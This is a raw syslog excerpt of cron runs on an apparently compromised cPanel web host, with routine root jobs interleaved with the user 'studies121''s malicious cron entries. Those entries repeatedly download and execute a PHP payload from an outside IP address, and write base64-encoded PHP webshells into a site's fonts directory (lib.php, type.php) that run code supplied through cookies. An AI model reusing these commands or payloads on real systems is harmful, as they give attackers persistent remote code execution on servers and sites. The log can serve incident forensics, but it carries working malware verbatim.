Sep 22 12:18:01 ip-184-168-122-23 CROND[26658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:18:01 ip-184-168-122-23 CROND[26660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:18:01 ip-184-168-122-23 CROND[26659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:18:01 ip-184-168-122-23 CROND[26667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:19:01 ip-184-168-122-23 CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:19:01 ip-184-168-122-23 CROND[27277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:19:01 ip-184-168-122-23 CROND[27279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:19:01 ip-184-168-122-23 CROND[27281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:20:01 ip-184-168-122-23 CROND[27953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:20:01 ip-184-168-122-23 CROND[27955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27958]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:20:01 ip-184-168-122-23 CROND[27966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:21:01 ip-184-168-122-23 CROND[28132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:21:01 ip-184-168-122-23 CROND[28134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:21:01 ip-184-168-122-23 CROND[28135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:21:01 ip-184-168-122-23 CROND[28136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:22:01 ip-184-168-122-23 CROND[28464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:22:01 ip-184-168-122-23 CROND[28466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:22:01 ip-184-168-122-23 CROND[28467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:22:01 ip-184-168-122-23 CROND[28468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:22:01 ip-184-168-122-23 CROND[28465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:23:01 ip-184-168-122-23 CROND[28844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:23:01 ip-184-168-122-23 CROND[28846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:23:01 ip-184-168-122-23 CROND[28848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:23:01 ip-184-168-122-23 CROND[28847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:24:01 ip-184-168-122-23 CROND[29024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:24:01 ip-184-168-122-23 CROND[29026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:24:01 ip-184-168-122-23 CROND[29027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:24:01 ip-184-168-122-23 CROND[29028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:24:01 ip-184-168-122-23 CROND[29030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29280]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:25:02 ip-184-168-122-23 CROND[29286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:25:02 ip-184-168-122-23 CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:26:01 ip-184-168-122-23 CROND[29548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:26:01 ip-184-168-122-23 CROND[29550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:26:01 ip-184-168-122-23 CROND[29551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:26:01 ip-184-168-122-23 CROND[29553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:26:01 ip-184-168-122-23 CROND[29552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:27:01 ip-184-168-122-23 CROND[29764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:27:01 ip-184-168-122-23 CROND[29767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:27:01 ip-184-168-122-23 CROND[29766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:27:01 ip-184-168-122-23 CROND[29768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:28:01 ip-184-168-122-23 CROND[29979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:28:01 ip-184-168-122-23 CROND[29980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:28:01 ip-184-168-122-23 CROND[29985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:28:01 ip-184-168-122-23 CROND[29983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:28:01 ip-184-168-122-23 CROND[29984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:29:01 ip-184-168-122-23 CROND[30227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:29:01 ip-184-168-122-23 CROND[30228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:29:01 ip-184-168-122-23 CROND[30230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:29:01 ip-184-168-122-23 CROND[30229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30392]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:30:01 ip-184-168-122-23 CROND[30393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
